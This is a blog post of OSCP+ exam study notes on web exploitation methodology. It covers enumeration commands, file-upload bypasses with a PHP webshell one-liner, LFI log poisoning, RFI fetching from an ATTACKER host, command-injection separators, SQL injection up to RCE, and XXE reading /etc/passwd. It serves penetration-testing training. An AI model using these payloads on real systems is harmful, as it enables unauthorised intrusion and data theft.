Post

Web Exploitation

Posted
By mRb0x
6 min read
Web Exploitation

Web Exploitation - OSCP+

Principle: On OSCP+, web is not a scored category — it’s how you earn the foothold (the 10-point half) on the standalone machines. Judge every web vuln by one question: does it get me a shell? Tier 1 below are the RCE engines; drill those cold. Enumerate every HTTP port and every vhost first — most missed footholds are hiding in an unlisted directory or virtual host.

0. Quick-start web enumeration sequence

Do this on every HTTP/HTTPS port, every vhost, before anything else.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

whatweb http://TARGET                                   # tech fingerprint
curl -s http://TARGET/robots.txt                        # disallowed paths = hints
nikto -h http://TARGET                                  # quick misconfig sweep

# directory / file brute-force (pick one, tune extensions to the stack)
feroxbuster -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,bak
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://TARGET/FUZZ -e .php,.txt,.bak

# vhost / subdomain discovery (footholds hide here — always do it)
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u http://TARGET -H "Host: FUZZ.TARGET.com" -fs <baseline_size>

# CMS-specific
wpscan --url http://TARGET --enumerate u,vp,vt         # WordPress

Then, by hand: view source, read linked .js files for endpoints/creds, check HTML comments, /sitemap.xml, and any login/upload/search/?param= surface.

1. Tooling

Tool Use
Burp Suite Primary. Proxy + Repeater (manual testing) + Intruder (fuzzing). Everything below runs through it.
ffuf / feroxbuster / gobuster Directory, file, vhost, parameter brute-forcing.
whatweb / nikto Tech fingerprint + quick misconfig sweep.
wpscan / droopescan / joomscan CMS enumeration and known-vuln checks.
sqlmap SQLi automation — learn manual first; use only after you understand the injection.
searchsploit Map app + version → public exploit to read and adapt.
SecLists Wordlists for all of the above (/usr/share/seclists).

2. Vector taxonomy

TIER 1 — foothold engines (all lead to RCE — master these)

2.1 Web enumeration (the foothold gate)

  • Do: directory/file/vhost brute-force + source review (see §0). Tune extensions to the detected stack (.php, .aspx, .jsp).
  • Signal: hidden admin panel, upload form, backup file (.bak, .old, ~), .git/ exposure, dev/staging vhost.
  • .git exposure: git-dumper http://TARGET/.git/ ./loot → source review → creds/logic flaws.

2.2 File upload → webshell

  • Test: upload a shell; if blocked, bypass the filter:
    • Double extension: shell.php.jpg; alt extensions: .phtml .php5 .phar .pHp
    • Content-Type spoof (set image/png in the request)
    • Magic bytes: prepend GIF89a; to the payload
    • .htaccess trick: upload .htaccess with AddType application/x-httpd-php .jpg → then .jpg runs as PHP
  • Payloads: 
    1

    <?php system($_GET['cmd']); ?>          // then: http://TARGET/uploads/shell.php?cmd=id

    Or upload a full reverse shell (e.g. pentestmonkey php-reverse-shell.php) and catch with nc -lvnp <port>.

2.3 File inclusion (LFI/RFI) → RCE

  • LFI test: ?page=../../../../etc/passwd; bypass filters with ....//, absolute paths, or (legacy) null byte %00.
  • Read source (PHP filter wrapper): 
    1

    ?page=php://filter/convert.base64-encode/resource=index.php
  • LFI → RCE routes:
    • Log poisoning: inject <?php system($_GET['c']); ?> into User-Agent, then ?page=/var/log/apache2/access.log&c=id. Also /var/log/auth.log via a crafted SSH username.
    • PHP wrappers: data://text/plain;base64,<b64 payload>, or php://input with the payload in the POST body.
    • /proc/self/environ injection.
  • RFI (if allow_url_include=On): ?page=http://ATTACKER/shell.txt → direct RCE.

2.4 Command injection

  • Test separators: ; | || & && $(...) and backticks, plus newline %0a. 
    1
2

    ?host=127.0.0.1; id
?host=127.0.0.1 %26%26 id
  • Blind: time-based ; sleep 5 (watch response delay) or OOB via DNS/HTTP callback; redirect output to a web-readable file to read it.
  • Filter bypass: ${IFS} for spaces, quote-splitting (w'h'oami), variable expansion.

2.5 SQL injection (manual)

  • Detect: ' → error; ' OR '1'='1; compare true/false responses.
  • Auth bypass: admin' -- - or ' OR 1=1 -- - in the username.
  • UNION extraction: 
    1
2
3
4

    ' ORDER BY 5 -- -                       -- find column count
' UNION SELECT 1,2,3,4,5 -- -           -- find reflected columns
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables -- -
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users' -- -
  • SQLi → RCE (only stop when you’ve tried this):
    • MySQL: ... UNION SELECT "<?php system($_GET['c']);?>" INTO OUTFILE '/var/www/html/s.php' -- -
    • MSSQL: EXEC xp_cmdshell 'whoami'; (enable via sp_configure if needed)
    • PostgreSQL: COPY cmd_exec FROM PROGRAM 'id';
  • Learn it manually; reach for sqlmap only after you understand the injection point.

2.6 Known-vuln / CMS exploitation

  • Loop: fingerprint app + version → searchsploit <app> <version> → mirror the PoC → read it → adapt (fix LHOST/RHOST, python2→3, hardcoded paths/offsets) → run.
  • This “find the version, fix the public exploit” cycle is a large share of real footholds. Never run a PoC you haven’t read.

TIER 2 — know them, occasional foothold

2.7 SSTI (Server-Side Template Injection)

  • Detect: inject ${7*7}, ``, <%= 7*7 %> → if 49 renders, it’s injectable. Fingerprint the engine, then go for RCE.
  • Jinja2 (Python) RCE: 
    1

2.8 XXE (XML External Entity)

  • File read: 
    1
2

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
  • Use OOB (external DTD) for blind XXE.

2.9 Authentication / logic bypass

  • Default creds, IDOR (increment IDs), password-reset flaws, JWT weaknesses (alg:none, weak secret → crack with hashcat), and simple business-logic bypasses.

TIER 3 — lower OSCP priority (rarely the foothold)

2.10 XSS / CSRF

  • Reflected / stored / DOM XSS and CSRF are in the syllabus but usually need victim interaction, so they seldom are the OSCP foothold. Understand them conceptually; don’t over-invest for the exam.

3. Exam-day discipline

  • Enumerate every HTTP port and every vhost. The foothold is often in an unlisted directory or virtual host you didn’t brute-force.
  • Manual over automated. Automated scanners/sqlmap miss things and are noisy; the exam rewards understanding the injection by hand.
  • Read the source. View-source, JS files, comments, robots.txt, .git/ — endpoints and creds leak here constantly.
  • Escalate file-read to RCE. Don’t stop at LFI//etc/passwd — chain to log poisoning or a wrapper for a shell.
  • Read public exploits before running them. Adapt, don’t blindly execute.
  • Note the why. Record the vuln class and the exact request that worked — that’s what generalises.

4. Per-box loop (feeds this chapter)

For every web foothold you land:

  1. In the per-target note, record the vuln class + the exact working request.
  2. If the technique/bypass is new, add it to the right §2 tier here with the test that would have revealed it.

Closes the loop between Targets/ notes and this chapter, keeping §2 as your foothold-side exam checklist alongside the privesc pair.

5. References

  • PortSwigger Web Security Academy — free, best-in-class labs for SQLi, command injection, file upload, path traversal, SSTI, XXE, auth. Grind Tier 1 tracks.
  • PayloadsAllTheThings — payload/bypass reference for every vuln above.
  • HackTricks → Pentesting Web (cross-reference checklist).
  • Tooling: Burp Suite, ffuf/feroxbuster, wpscan, searchsploit, SecLists.
  • Practice: PEN-200 web modules; then PG Practice + HTB boxes filtered for web footholds; DVWA / OWASP Juice Shop for fundamentals.
methodology web foothold oscp osep
This post is licensed under CC BY 4.0 by the author.